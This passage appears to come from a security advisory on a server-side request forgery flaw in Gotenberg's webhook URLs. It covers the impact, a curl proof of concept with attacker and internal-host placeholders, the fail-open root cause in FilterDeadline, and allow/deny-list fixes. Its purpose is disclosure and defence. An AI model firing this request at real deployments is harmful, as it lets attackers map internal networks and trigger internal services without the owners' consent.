The practical impact is therefore:

• Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
• Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
• Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.

Proof of Concept

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
  -F 'url=https://example.com'

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
    if len(allowed) > 0 { ... }  // skipped — empty by default
    if len(denied) > 0  { ... }  // skipped — empty by default
    return nil                    // any URL passes
}

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.

Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".

Timeline